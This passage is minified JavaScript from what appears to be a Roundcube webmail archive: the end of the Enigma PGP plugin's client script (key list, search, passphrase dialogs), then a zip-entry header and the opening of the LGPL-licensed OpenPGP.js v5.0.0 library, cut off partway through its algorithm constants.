t,i=e.get_single_selection();i&&!e.multi_selecting&&(t="&_action=plugin.enigmakeys&_a=info&_id="+i),this.enigma_loadframe(t),this.enable_command("plugin.enigma-key-delete","plugin.enigma-key-export-selected",0<e.get_selection().length)},rcube_webmail.prototype.enigma_loadframe=function(e){var t;(t=this.get_frame_window(this.env.contentframe))&&(e?(this.env.frame_lock=this.set_busy(!0,"loading"),t.location.href=this.env.comm_path+"&_framed=1"+e):(t.location&&t.location.href.indexOf(this.env.blankpage)<0&&(t.location.href=this.env.blankpage),this.env.frame_lock&&this.set_busy(!1,null,this.env.frame_lock)))},rcube_webmail.prototype.enigma_search=function(e){var t;return((e=!e&&this.gui_objects.qsearchbox?this.gui_objects.qsearchbox.value:e)||this.env.search_request)&&(e={_a:"search",_q:e},t=this.set_busy(!0,"searching"),this.env.current_page=1,this.enigma_loadframe(),this.enigma_clear_list(),this.http_post("plugin.enigmakeys",e,t)),!1},rcube_webmail.prototype.enigma_search_reset=function(e){var t=this.env.search_request;return this.reset_qsearch(),t&&(this.enigma_loadframe(),this.enigma_clear_list(),this.enigma_list()),!1},rcube_webmail.prototype.enigma_list=function(e,t){if(this.is_framed())return parent.rcmail.enigma_list(e,t);var i={_a:"list"},a=this.set_busy(!0,"loading");this.env.current_page=e||1,this.env.search_request&&(i._q=this.env.search_request),e&&(i._p=e),this.enigma_clear_list(t),this.http_post("plugin.enigmakeys",i,a)},rcube_webmail.prototype.enigma_list_page=function(e){"next"==e?e=this.env.current_page+1:"last"==e?e=this.env.pagecount:"prev"==e&&1<this.env.current_page?e=this.env.current_page-1:"first"==e&&1<this.env.current_page&&(e=1),this.enigma_list(e)},rcube_webmail.prototype.enigma_clear_list=function(e){!1!==e&&this.enigma_loadframe(),this.keys_list&&this.keys_list.clear(!0),this.enable_command("plugin.enigma-key-delete","plugin.enigma-key-delete-selected",!1),this.triggerEvent("listupdate",{list:this.keys_list,rowcount:this.keys_list.rowcount})},rcube_webmail.prototype.enigma_add_list_row=function(e){if(!this.gui_objects.keyslist||!this.keys_list)return!1;var t=this.keys_list,i=(this.gui_objects.keyslist.tBodies[0].rows.length,document.createElement("tr")),a=document.createElement("td");i.id="rcmrow"+e.id,i.className="message",e.flags&&$(i).data("flags",e.flags),a.className="name",a.innerHTML=e.name,i.appendChild(a),t.insert_row(i)},rcube_webmail.prototype.enigma_beforesend_handler=function(e){this.env.last_action="send",this.enigma_compose_handler(e)},rcube_webmail.prototype.enigma_beforesavedraft_handler=function(e){this.env.last_action="savedraft",this.enigma_compose_handler(e)},rcube_webmail.prototype.enigma_compose_handler=function(e){var i=this.gui_objects.messageform;$("#enigmamenu input").each(function(){var e=this.id+"_cpy",t=$("#"+e);t.length||(t=$(this).clone()).prop({id:e,type:"hidden"}).appendTo(i),t.val(this.checked?"1":"")})},rcube_webmail.prototype.enigma_import_attachment=function(e){var t=this.set_busy(!0,"loading"),e={_uid:this.env.uid,_mbox:this.env.mailbox,_part:e};return this.http_post("plugin.enigmaimport",e,t),!1},rcube_webmail.prototype.enigma_password_request=function(t){var i,e,a,n,r;t&&t.keyid&&(e=(i=this).get_label("enigma.enterkeypass"),a=$('<div class="prompt">'),n=$('<p class="message">').appendTo(a),r=$("<input>").attr({type:"password",size:30,"data-submit":"true"}).appendTo(a),t.key=t.keyid,8<t.keyid.length&&(t.keyid=t.keyid.substr(t.keyid.length-8)),$.each(["keyid","user"],function(){e=e.replace("$"+this,t[this])}),n.text(e),this.show_popup_dialog(a,this.get_label("enigma.enterkeypasstitle"),[{text:this.get_label("ok"),class:"mainaction save unlock",click:function(e){e.stopPropagation();e=i.is_framed()?window.parent.$:$;t.password=r.val(),t.password?(i.enigma_password_submit(t),e(this).remove()):r.focus()}},{text:this.get_label("cancel"),class:"cancel",click:function(e){var t=i.is_framed()?window.parent.$:$;e.stopPropagation(),t(this).remove()}}],{width:400}),this.is_framed())&&parent.rcmail.message_list&&parent.rcmail.message_list.blur()},rcube_webmail.prototype.enigma_password_submit=function(e){var i,t;return"compose"!=this.env.action||e["compose-init"]?"plugin.enigmakeys"==this.env.action&&(i=this.gui_objects.importform)?($('input[name="_keyid"]',i).length||$(i).append($("<input>").attr({type:"hidden",name:"_keyid",value:e.key})).append($("<input>").attr({type:"hidden",name:"_passwd",value:e.password})),this.enigma_import()):(t=e.nolock?null:this.set_busy(!0,"loading"),i=$("<form>").attr({method:"post",action:e.action||location.href,style:"display:none"}).append($("<input>").attr({type:"hidden",name:"_keyid",value:e.key})).append($("<input>").attr({type:"hidden",name:"_passwd",value:e.password})).append($("<input>").attr({type:"hidden",name:"_token",value:this.env.request_token})).append($("<input>").attr({type:"hidden",name:"_unlock",value:t})),$.each(e,function(e,t){0==e.indexOf("input")&&i.append($("<input>").attr({type:"hidden",name:e.substring(5),value:t}))}),e.iframe&&(t="enigma_frame_"+(new Date).getTime(),$("<iframe>").attr({style:"display:none",name:t}).appendTo(document.body),i.attr("target",t)),void i.appendTo(document.body).submit()):this.enigma_password_compose_submit(e)},rcube_webmail.prototype.enigma_password_compose_submit=function(e){var t=this.gui_objects.messageform;$('input[name="_keyid"]',t).length?($('input[name="_keyid"]',t).val(e.key),$('input[name="_passwd"]',t).val(e.password)):$(t).append($("<input>").attr({type:"hidden",name:"_keyid",value:e.key})).append($("<input>").attr({type:"hidden",name:"_passwd",value:e.password})),this.submit_messageform("savedraft"==this.env.last_action)},rcube_webmail.prototype.enigma_key_not_found=function(e){var t=[{class:"mainaction search",text:e.button,click:function(){$(this).remove(),rcmail.enigma_find_publickey(e.email)}}];return"encrypt"==e.mode&&t.push({class:"send",text:rcmail.get_label("enigma.sendunencrypted"),click:function(e){$(this).remove(),$("#enigmaencryptopt").prop("checked",!1).change(),rcmail.command("send",{nocheck:!0},e.target,e.originalEvent)}}),t.push({class:"cancel",text:this.get_label("cancel"),click:function(){$(this).remove()}}),this.show_popup_dialog(e.text,e.title,t,{width:500,dialogClass:"error"})},rcube_webmail.prototype.enigma_find_publickey=function(e){this.mailvelope_search_pubkeys([e],function(e){},function(e){var t=rcmail.set_busy(!0,"enigma.importwait"),e={_a:"import",_keys:e};"plugin.enigmakeys"==rcmail.env.action&&(e._refresh=1),rcmail.http_post("plugin.enigmakeys",e,t)})};
PKh�\D!�k�L�Lplugins/enigma/openpgp.min.jsnu�[���/**
 * OpenPGP.js - v5.0.0
 *
 * @source https://cdn.jsdelivr.net/npm/openpgp@5.0.0/dist/openpgp.js
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) OpenPGP Development Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
/*! OpenPGP.js v5.0.0 - 2021-09-02 - this is LGPL licensed code, see LICENSE/our website https://openpgpjs.org/ for more information. */
var openpgp=function(e){"use strict";const t="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},r=Symbol("doneWritingPromise"),i=Symbol("doneWritingResolve"),n=Symbol("doneWritingReject");class a extends Array{constructor(){super(),this[r]=new Promise(((e,t)=>{this[i]=e,this[n]=t})),this[r].catch((()=>{}))}}function s(e){return e&&e.getReader&&Array.isArray(e)}function o(e){if(!s(e)){const t=e.getWriter(),r=t.releaseLock;return t.releaseLock=()=>{t.closed.catch((function(){})),r.call(t)},t}this.stream=e}a.prototype.getReader=function(){return{read:async()=>(await this[r],this.length?{value:this.shift(),done:!1}:{value:void 0,done:!0})}},o.prototype.write=async function(e){this.stream.push(e)},o.prototype.close=async function(){this.stream[i]()},o.prototype.abort=async function(e){return this.stream[n](e),e},o.prototype.releaseLock=function(){};const c="object"==typeof t.process&&"object"==typeof t.process.versions,u=c&&void 0;function h(e){return s(e)?"array":t.ReadableStream&&t.ReadableStream.prototype.isPrototypeOf(e)?"web":k&&k.prototype.isPrototypeOf(e)?"ponyfill":u&&u.prototype.isPrototypeOf(e)?"node":!(!e||!e.getReader)&&"web-like"}function d(e){return Uint8Array.prototype.isPrototypeOf(e)}function f(e){if(1===e.length)return e[0];let t=0;for(let r=0;r<e.length;r++){if(!d(e[r]))throw Error("concatUint8Array: Data must be in the form of a Uint8Array");t+=e[r].length}const r=new Uint8Array(t);let i=0;return e.forEach((function(e){r.set(e,i),i+=e.length})),r}const l=c&&void 0,p=c&&void 0;let y,b;if(p){y=function(e){let t=!1;return new k({start(r){e.pause(),e.on("data",(i=>{t||(l.isBuffer(i)&&(i=new Uint8Array(i.buffer,i.byteOffset,i.byteLength)),r.enqueue(i),e.pause())})),e.on("end",(()=>{t||r.close()})),e.on("error",(e=>r.error(e)))},pull(){e.resume()},cancel(r){t=!0,e.destroy(r)}})};class e extends p{constructor(e,t){super(t),this._reader=K(e)}async _read(e){try{for(;;){const{done:e,value:t}=await this._reader.read();if(e){this.push(null);break}if(!this.push(t)||this._cancelling){this._reading=!1;break}}}catch(e){this.emit("error",e)}}_destroy(e){this._reader.cancel(e)}}b=function(t,r){return new e(t,r)}}const m=new WeakSet,g=Symbol("externalBuffer");function w(e){if(this.stream=e,e[g]&&(this[g]=e[g].slice()),s(e)){const t=e.getReader();return this._read=t.read.bind(t),this._releaseLock=()=>{},void(this._cancel=()=>{})}let t=h(e);if("node"===t&&(e=y(e)),t){const t=e.getReader();return this._read=t.read.bind(t),this._releaseLock=()=>{t.closed.catch((function(){})),t.releaseLock()},void(this._cancel=t.cancel.bind(t))}let r=!1;this._read=async()=>r||m.has(e)?{value:void 0,done:!0}:(r=!0,{value:e,done:!1}),this._releaseLock=()=>{if(r)try{m.add(e)}catch(e){}}}w.prototype.read=async function(){if(this[g]&&this[g].length){return{done:!1,value:this[g].shift()}}return this._read()},w.prototype.releaseLock=function(){this[g]&&(this.stream[g]=this[g]),this._releaseLock()},w.prototype.cancel=function(e){return this._cancel(e)},w.prototype.readLine=async function(){let e,t=[];for(;!e;){let{done:r,value:i}=await this.read();if(i+="",r)return t.length?C(t):void 0;const n=i.indexOf("\n")+1;n&&(e=C(t.concat(i.substr(0,n))),t=[]),n!==i.length&&t.push(i.substr(n))}return this.unshift(...t),e},w.prototype.readByte=async function(){const{done:e,value:t}=await this.read();if(e)return;const r=t[0];return this.unshift(N(t,1)),r},w.prototype.readBytes=async function(e){const t=[];let r=0;for(;;){const{done:i,value:n}=await this.read();if(i)return t.length?C(t):void 0;if(t.push(n),r+=n.length,r>=e){const r=C(t);return this.unshift(N(r,e)),N(r,0,e)}}},w.prototype.peekBytes=async function(e){const t=await this.readBytes(e);return this.unshift(t),t},w.prototype.unshift=function(...e){this[g]||(this[g]=[]),1===e.length&&d(e[0])&&this[g].length&&e[0].length&&this[g][0].byteOffset>=e[0].length?this[g][0]=new Uint8Array(this[g][0].buffer,this[g][0].byteOffset-e[0].length,this[g][0].byteLength+e[0].length):this[g].unshift(...e.filter((e=>e&&e.length)))},w.prototype.readToEnd=async function(e=C){const t=[];for(;;){const{done:e,value:r}=await this.read();if(e)break;t.push(r)}return e(t)};let v,_,{ReadableStream:k,WritableStream:A,TransformStream:S}=t;async function E(){if(S)return;const[e,r]=await Promise.all([Promise.resolve().then((function(){return uf})),Promise.resolve().then((function(){return Kf}))]);({ReadableStream:k,WritableStream:A,TransformStream:S}=e);const{createReadableStreamWrapper:i}=r;t.ReadableStream&&k!==t.ReadableStream&&(v=i(k),_=i(t.ReadableStream))}const P=c&&void 0;function x(e){let t=h(e);return"node"===t?y(e):"web"===t&&v?v(e):t?e:new k({start(t){t.enqueue(e),t.close()}})}function M(e){if(h(e))return e;const t=new a;return(async()=>{const r=D(t);await r.write(e),await r.close()})(),t}function C(e){return e.some((e=>h(e)&&!s(e)))?function(e){e=e.map(x);const t=U((async function(e){await Promise.all(i.map((t=>j(t,e))))}));let r=Promise.resolve();const i=e.map(((i,n)=>T(i,((i,a)=>(r=r.then((()=>R(i,t.writable,{preventClose:n!==e.length-1}))),r)))));return t.readable}(e):e.some((e=>s(e)))?function(e){const t=new a;let r=Promise.resolve();return e.forEach(((i,n)=>(r=r.then((()=>R(i,t,{preventClose:n!==e.length-1}))),r))),t}(e):"string"==typeof e[0]?e.join(""):P&&P.isBuffer(e[0])?P.concat(e):f(e)}function K(e){return new w(e)}function D(e){return new o(e)}async function R(e,t,{preventClose:r=!1,preventAbort:i=!1,preventCancel:n=!1}={}){if(h(e)&&!s(e)){e=x(e);try{if(e[g]){const r=D(t);for(let t=0;t<e[g].length;t++)await r.ready,await r.write(e[g][t]);r.releaseLock()}await e.pipeTo(t,{preventClose:r,preventAbort:i,preventCancel:n})}catch(e){}return}const a=K(e=M(e)),o=D(t);try{for(;;){await o.ready;const{done:e,value:t}=await a.read();if(e){r||await o.close();break}await o.write(t)}}catch(e){i||await o.abort(e)}finally{a.releaseLock(),o.releaseLock()}}function I(e,t){const r=new S(t);return R(e,r.writable),r.readable}function U(e){let t,r,i=!1;return{readable:new k({start(e){r=e},pull(){t?t():i=!0},cancel:e},{highWaterMark:0}),writable:new A({write:async function(e){r.enqueue(e),i?i=!1:(await new Promise((e=>{t=e})),t=null)},close:r.close.bind(r),abort:r.error.bind(r)})}}function B(e,t=(()=>{}),r=(()=>{})){if(s(e)){const i=new a;return(async()=>{const n=await L(e),a=t(n),s=r();let o;o=void 0!==a&&void 0!==s?C([a,s]):void 0!==a?a:s;const c=D(i);await c.write(o),await c.close()})(),i}if(h(e))return I(e,{async transform(e,r){try{const i=await t(e);void 0!==i&&r.enqueue(i)}catch(e){r.error(e)}},async flush(e){try{const t=await r();void 0!==t&&e.enqueue(t)}catch(t){e.error(t)}}});const i=t(e),n=r();return void 0!==i&&void 0!==n?C([i,n]):void 0!==i?i:n}function T(e,t){if(h(e)&&!s(e)){let r;const i=new S({start(e){r=e}}),n=R(e,i.writable),a=U((async function(){r.error(Error("Readable side was canceled.")),await n,await new Promise(setTimeout)}));return t(i.readable,a.writable),a.readable}e=M(e);const r=new a;return t(e,r),r}function z(e,t){let r;const i=T(e,((e,n)=>{const a=K(e);a.remainder=()=>(a.releaseLock(),R(e,n),i),r=t(a)}));return r}function q(e){if(h(e)){const t=function(e){if(s(e)){const t=new a,r=new a;return(async()=>{const i=K(e),n=D(t),a=D(r);try{for(;;){await n.ready,await a.ready;const{done:e,value:t}=await i.read();if(e){await n.close(),await a.close();break}await n.write(t),await a.write(t)}}catch(e){await n.abort(e),await a.abort(e)}finally{i.releaseLock(),n.releaseLock(),a.releaseLock()}})(),[t,r]}if(h(e)){const t=x(e).tee();return t[0][g]=t[1][g]=e[g],t}return[N(e),N(e)]}(e);return F(e,t[0]),t[1]}return N(e)}function O(e){return s(e)?q(e):h(e)?new k({start(t){const r=T(e,(async(e,r)=>{const i=K(e),n=D(r);try{for(;;){await n.ready;const{done:e,value:r}=await i.read();if(e){try{t.close()}catch(e){}return void await n.close()}try{t.enqueue(r)}catch(e){}await n.write(r)}}catch(e){t.error(e),await n.abort(e)}}));F(e,r)}}):N(e)}function F(e,t){Object.entries(Object.getOwnPropertyDescriptors(e.constructor.prototype)).forEach((([r,i])=>{"constructor"!==r&&(i.value?i.value=i.value.bind(t):i.get=i.get.bind(t),Object.defineProperty(e,r,i))}))}function N(e,t=0,r=1/0){if(s(e))throw Error("Not implemented");if(h(e)){if(t>=0&&r>=0){let i=0;return I(e,{transform(e,n){i<r?(i+e.length>=t&&n.enqueue(N(e,Math.max(t-i,0),r-i)),i+=e.length):n.terminate()}})}if(t<0&&(r<0||r===1/0)){let i=[];return B(e,(e=>{e.length>=-t?i=[e]:i.push(e)}),(()=>N(C(i),t,r)))}if(0===t&&r<0){let i;return B(e,(e=>{const n=i?C([i,e]):e;if(n.length>=-r)return i=N(n,r),N(n,t,r);i=n}))}return console.warn(`stream.slice(input, ${t}, ${r}) not implemented efficiently.`),W((async()=>N(await L(e),t,r)))}return e[g]&&(e=C(e[g].concat([e]))),!d(e)||P&&P.isBuffer(e)?e.slice(t,r):(r===1/0&&(r=e.length),e.subarray(t,r))}async function L(e,t=C){return h(e)?K(e).readToEnd(t):e}async function j(e,t){if(h(e)){if(e.cancel)return e.cancel(t);if(e.destroy)return e.destroy(t),await new Promise(setTimeout),t}}function W(e){const t=new a;return(async()=>{const r=D(t);try{await r.write(await e()),await r.close()}catch(e){await r.abort(e)}})(),t}class H{constructor(e){if(void 0===e)throw Error("Invalid BigInteger input");if(e instanceof Uint8Array){const t=e,r=Array(t.length);for(let e=0;e<t.length;e++){const i=t[e].toString(16);r[e]=t[e]<=15?"0"+i:i}this.value=BigInt("0x0"+r.join(""))}else this.value=BigInt(e)}clone(){return new H(this.value)}iinc(){return this.value++,this}inc(){return this.clone().iinc()}idec(){return this.value--,this}dec(){return this.clone().idec()}iadd(e){return this.value+=e.value,this}add(e){return this.clone().iadd(e)}isub(e){return this.value-=e.value,this}sub(e){return this.clone().isub(e)}imul(e){return this.value*=e.value,this}mul(e){return this.clone().imul(e)}imod(e){return this.value%=e.value,this.isNegative()&&this.iadd(e),this}mod(e){return this.clone().imod(e)}modExp(e,t){if(t.isZero())throw Error("Modulo cannot be zero");if(t.isOne())return new H(0);if(e.isNegative())throw Error("Unsopported negative exponent");let r=e.value,i=this.value;i%=t.value;let n=BigInt(1);for(;r>BigInt(0);){const e=r&BigInt(1);r>>=BigInt(1);const a=n*i%t.value;n=e?a:n,i=i*i%t.value}return new H(n)}modInv(e){const{gcd:t,x:r}=this._egcd(e);if(!t.isOne())throw Error("Inverse does not exist");return r.add(e).mod(e)}_egcd(e){let t=BigInt(0),r=BigInt(1),i=BigInt(1),n=BigInt(0),a=this.value;for(e=e.value;e!==BigInt(0);){const s=a/e;let o=t;t=i-s*t,i=o,o=r,r=n-s*r,n=o,o=e,e=a%e,a=o}return{x:new H(i),y:new H(n),gcd:new H(a)}}gcd(e){let t=this.value;for(e=e.value;e!==BigInt(0);){const r=e;e=t%e,t=r}return new H(t)}ileftShift(e){return this.value<<=e.value,this}leftShift(e){return this.clone().ileftShift(e)}irightShift(e){return this.value>>=e.value,this}rightShift(e){return this.clone().irightShift(e)}equal(e){return this.value===e.value}lt(e){return this.value<e.value}lte(e){return this.value<=e.value}gt(e){return this.value>e.value}gte(e){return this.value>=e.value}isZero(){return this.value===BigInt(0)}isOne(){return this.value===BigInt(1)}isNegative(){return this.value<BigInt(0)}isEven(){return!(this.value&BigInt(1))}abs(){const e=this.clone();return this.isNegative()&&(e.value=-e.value),e}toString(){return this.value.toString()}toNumber(){const e=Number(this.value);if(e>Number.MAX_SAFE_INTEGER)throw Error("Number can only safely store up to 53 bits");return e}getBit(e){return(this.value>>BigInt(e)&BigInt(1))===BigInt(0)?0:1}bitLength(){const e=new H(0),t=new H(1),r=new H(-1),i=this.isNegative()?r:e;let n=1;const a=this.clone();for(;!a.irightShift(t).equal(i);)n++;return n}byteLength(){const e=new H(0),t=new H(-1),r=this.isNegative()?t:e,i=new H(8);let n=1;const a=this.clone();for(;!a.irightShift(i).equal(r);)n++;return n}toUint8Array(e="be",t){let r=this.value.toString(16);r.length%2==1&&(r="0"+r);const i=r.length/2,n=new Uint8Array(t||i),a=t?t-i:0;let s=0;for(;s<i;)n[s+a]=parseInt(r.slice(2*s,2*s+2),16),s++;return"be"!==e&&n.reverse(),n}}const G=t.process&&"development"===t.process.env.NODE_ENV,V={isString:function(e){return"string"==typeof e||String.prototype.isPrototypeOf(e)},isArray:function(e){return Array.prototype.isPrototypeOf(e)},isUint8Array:d,isStream:h,readNumber:function(e){let t=0;for(let r=0;r<e.length;r++)t+=256**r*e[e.length-1-r];return t},writeNumber:function(e,t){const r=new Uint8Array(t);for(let i=0;i<t;i++)r[i]=e>>8*(t-i-1)&255;return r},readDate:function(e){const t=V.readNumber(e);return new Date(1e3*t)},writeDate:function(e){const t=Math.floor(e.getTime()/1e3);return V.writeNumber(t,4)},normalizeDate:function(e=Date.now()){return null===e||e===1/0?e:new Date(1e3*Math.floor(+e/1e3))},readMPI:function(e){const t=(e[0]<<8|e[1])+7>>>3;return e.subarray(2,2+t)},leftPad(e,t){const r=new Uint8Array(t),i=t-e.length;return r.set(e,i),r},uint8ArrayToMPI:function(e){const t=V.uint8ArrayBitLength(e);if(0===t)throw Error("Zero MPI");const r=e.subarray(e.length-Math.ceil(t/8)),i=new Uint8Array([(65280&t)>>8,255&t]);return V.concatUint8Array([i,r])},uint8ArrayBitLength:function(e){let t;for(t=0;t<e.length&&0===e[t];t++);if(t===e.length)return 0;const r=e.subarray(t);return 8*(r.length-1)+V.nbits(r[0])},hexToUint8Array:function(e){const t=new Uint8Array(e.length>>1);for(let r=0;r<e.length>>1;r++)t[r]=parseInt(e.substr(r<<1,2),16);return t},uint8ArrayToHex:function(e){const t=[],r=e.length;let i,n=0;for(;n<r;){for(i=e[n++].toString(16);i.length<2;)i="0"+i;t.push(""+i)}return t.join("")},stringToUint8Array:function(e){return B(e,(e=>{if(!V.isString(e))throw Error("stringToUint8Array: Data must be in the form of a string");const t=new Uint8Array(e.length);for(let r=0;r<e.length;r++)t[r]=e.charCodeAt(r);return t}))},uint8ArrayToString:function(e){const t=[],r=16384,i=(e=new Uint8Array(e)).length;for(let n=0;n<i;n+=r)t.push(String.fromCharCode.apply(String,e.subarray(n,n+r<i?n+r:i)));return t.join("")},encodeUTF8:function(e){const t=new TextEncoder("utf-8");function r(e,r=!1){return t.encode(e,{stream:!r})}return B(e,r,(()=>r("",!0)))},decodeUTF8:function(e){const t=new TextDecoder("utf-8");function r(e,r=!1){return t.decode(e,{stream:!r})}return B(e,r,(()=>r(new Uint8Array,!0)))},concat:C,concatUint8Array:f,equalsUint8Array:function(e,t){if(!V.isUint8Array(e)||!V.isUint8Array(t))throw Error("Data must be in the form of a Uint8Array");if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0},writeChecksum:function(e){let t=0;for(let r=0;r<e.length;r++)t=t+e[r]&65535;return V.writeNumber(t,2)},printDebug:function(e){G&&console.log(e)},printDebugError:function(e){G&&console.error(e)},nbits:function(e){let t=1,r=e>>>16;return 0!==r&&(e=r,t+=16),r=e>>8,0!==r&&(e=r,t+=8),r=e>>4,0!==r&&(e=r,t+=4),r=e>>2,0!==r&&(e=r,t+=2),r=e>>1,0!==r&&(e=r,t+=1),t},double:function(e){const t=new Uint8Array(e.length),r=e.length-1;for(let i=0;i<r;i++)t[i]=e[i]<<1^e[i+1]>>7;return t[r]=e[r]<<1^135*(e[0]>>7),t},shiftRight:function(e,t){if(t)for(let r=e.length-1;r>=0;r--)e[r]>>=t,r>0&&(e[r]|=e[r-1]<<8-t);return e},getWebCrypto:function(){return void 0!==t&&t.crypto&&t.crypto.subtle},detectNode:function(){return"object"==typeof t.process&&"object"==typeof t.process.versions},detectBigInt:()=>"undefined"!=typeof BigInt,getBigInteger:async function(){if(V.detectBigInt())return H;{const{default:e}=await Promise.resolve().then((function(){return Bf}));return e}},getNodeCrypto:function(){},getNodeZlib:function(){},getNodeBuffer:function(){return{}.Buffer},getHardwareConcurrency:function(){if(V.detectNode()){return(void 0).cpus().length}return navigator.hardwareConcurrency||1},isEmailAddress:function(e){if(!V.isString(e))return!1;return/^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+([a-zA-Z]{2,}|xn--[a-zA-Z\-0-9]+)))$/.test(e)},canonicalizeEOL:function(e){let t=!1;return B(e,(e=>{let r;t&&(e=V.concatUint8Array([new Uint8Array([13]),e])),13===e[e.length-1]?(t=!0,e=e.subarray(0,-1)):t=!1;const i=[];for(let t=0;r=e.indexOf(10,t)+1,r;t=r)13!==e[r-2]&&i.push(r);if(!i.length)return e;const n=new Uint8Array(e.length+i.length);let a=0;for(let t=0;t<i.length;t++){const r=e.subarray(i[t-1]||0,i[t]);n.set(r,a),a+=r.length,n[a-1]=13,n[a]=10,a++}return n.set(e.subarray(i[i.length-1]||0),a),n}),(()=>t?new Uint8Array([13]):void 0))},nativeEOL:function(e){let t=!1;return B(e,(e=>{let r;13===(e=t&&10!==e[0]?V.concatUint8Array([new Uint8Array([13]),e]):new Uint8Array(e))[e.length-1]?(t=!0,e=e.subarray(0,-1)):t=!1;let i=0;for(let t=0;t!==e.length;t=r){r=e.indexOf(13,t)+1,r||(r=e.length);const n=r-(10===e[r]?1:0);t&&e.copyWithin(i,t,n),i+=n-t}return e.subarray(0,i)}),(()=>t?new Uint8Array([13]):void 0))},removeTrailingSpaces:function(e){return e.split("\n").map((e=>{let t=e.length-1;for(;t>=0&&(" "===e[t]||"\t"===e[t]);t--);return e.substr(0,t+1)})).join("\n")},wrapError:function(e,t){if(!t)return Error(e);try{t.message=e+": "+t.message}catch(e){}return t},constructAllowedPackets:function(e){const t={};return e.forEach((e=>{if(!e.tag)throw Error("Invalid input: expected a packet class");t[e.tag]=e})),t},anyPromise:function(e){return new Promise((async(t,r)=>{let i;await Promise.all(e.map((async e=>{try{t(await e)}catch(e){i=e}}))),r(i)}))}},$=V.getNodeBuffer();let Z,Y;function X(e){let t=new Uint8Array;return B(e,(e=>{t=V.concatUint8Array([t,e]);const r=[],i=Math.floor(t.length/45),n=45*i,a=Z(t.subarray(0,n));for(let e=0;e<i;e++)r.push(a.substr(60*e,60)),r.push("\n");return t=t.subarray(n),r.join("")}),(()=>t.length?Z(t)+"\n":""))}function Q(e){let t="";return B(e,(e=>{t+=e;let r=0;const i=[" ","\t","\r","\n"];for(let e=0;e<i.length;e++){const n=i[e];for(let e=t.indexOf(n);-1!==e;e=t.indexOf(n,e+1))r++}let n=t.length;for(;n>0&&(n-r)%4!=0;n--)i.includes(t[n])&&r--;const a=Y(t.substr(0,n));return t=t.substr(n),a}),(()=>Y(t)))}function J(e){return Q(e.replace(/-/g,"+").replace(/_/g,"/"))}function ee(e,t){let r=X(e).replace(/[\r\n]/g,"");return t&&(r=r.replace(/[+]/g,"-").replace(/[/]/g,"_").replace(/[=]/g,"")),r}$?(Z=e=>$.from(e).toString("base64"),Y=e=>{const t=$.from(e,"base64");return new Uint8Array(t.buffer,t.byteOffset,t.byteLength)}):(Z=e=>btoa(V.uint8ArrayToString(e)),Y=e=>V.stringToUint8Array(atob(e)));const te=Symbol("byValue");var re={curve:{p256:"p256","P-256":"p256",secp256r1:"p256",prime256v1:"p256","1.2.840.10045.3.1.7":"p256","2a8648ce3d030107":"p256","2A8648CE3D030107":"p256",p384:"p384","P-384":"p384",secp384r1:"p384","1.3.132.0.34":"p384","2b81040022":"p384","2B81040022":"p384",p521:"p521","P-521":"p521",secp521r1:"p521","1.3.132.0.35":"p521","2b81040023":"p521","2B81040023":"p521",secp256k1:"secp256k1","1.3.132.0.10":"secp256k1","2b8104000a":"secp256k1","2B8104000A":"secp256k1",ED25519:"ed25519",ed25519:"ed25519",Ed25519:"ed25519","1.3.6.1.4.1.11591.15.1":"ed25519","2b06010401da470f01":"ed25519","2B06010401DA470F01":"ed25519",X25519:"curve25519",cv25519:"curve25519",curve25519:"curve25519",Curve25519:"curve25519","1.3.6.1.4.1.3029.1.5.1":"curve25519","2b060104019755010501":"curve25519","2B060104019755010501":"curve25519",brainpoolP256r1:"brainpoolP256r1","1.3.36.3.3.2.8.1.1.7":"brainpoolP256r1","2b2403030208010107":"brainpoolP256r1","2B2403030208010107":"brainpoolP256r1",brainpoolP384r1:"brainpoolP384r1","1.3.36.3.3.2.8.1.1.11":"brainpoolP384r1","2b240303020801010b":"brainpoolP384r1","2B240303020801010B":"brainpoolP384r1",brainpoolP512r1:"brainpoolP512r1","1.3.36.3.3.2.8.1.1.13":"brainpoolP512r1","2b240303020801010d":"brainpoolP512r1","2B240303020801010D":"brainpoolP512r1"},s2k:{simple:0,salted:1,iterated:3,gnu:101},publicKey:{rsaEncryptSign:1,rsaEncrypt:2,rsaSign:3,elgamal:16,dsa:17,ecdh:18,ecdsa:19,eddsa:22,aedh:23,aedsa:24},symmetric:{plaintext:0,idea:1,tripledes:2,cast5:3,blowfish:4,aes128:7,aes192:8,aes256:9,twofish:10},compression:{uncompressed:0,zip:1,zlib:2,bzip2:3},hash:{md5:1,sha1:2,ripemd:3,sha256:8,sha384:9,sha512:10,sha224:11},webHash:{"SHA-1":2,"SHA-256":8,"SHA-384":9,"SHA-512":10},aead:{eax:1,ocb:2,experimentalGCM:100},packet:{publicKeyEncryptedSessionKey:1,signature:2,symEncryptedSessionKey:3,onePassSignature:4,secretKey:5,publicKey:6,secretSubkey:7,compressedData:8,symmetricallyEncryptedData:9,marker:10,literalData:11,trust:12,userID:13,publicSubkey:14,userAttribute:17,symEncryptedIntegrityProtectedData:18,modificationDetectionCode:19,aeadEncryptedData:20},literal:{binary:98,text:116,utf8:117,mime:109},signature:{binary:0,text:1,standalone:2,certGeneric:16,certPersona:17,certCasual:18,certPositive:19,certRevocation:48,subkeyBinding:24,keyBinding:25,key:31,keyRevocation:32,subkeyRevocation:40,timestamp:64,thirdParty:80},signatureSubpacket:{signatureCreationTime:2,signatureExpirationTime:3,exportableCertification:4,trustSignature:5,regularExpression:6,revocable:7,keyExpirationTime:9,placeholderBackwardsCompatibility:10,preferredSymmetricAlgorithms:11,revocationKey:12,issuer:16,notationData:20,preferredHashAlgorithms:21,preferredCompressionAlgorithms:22,keyServerPreferences:23,preferredKeyServer:24,primaryUserID:25,policyURI:26,keyFlags:27,signersUserID:28,reasonForRevocation:29,features:30,signatureTarget:31,embeddedSignature:32,issuerFingerprint:33,preferredAEADAlgorithms:34},keyFlags:{certifyKeys:1,signData:2,encryptCommu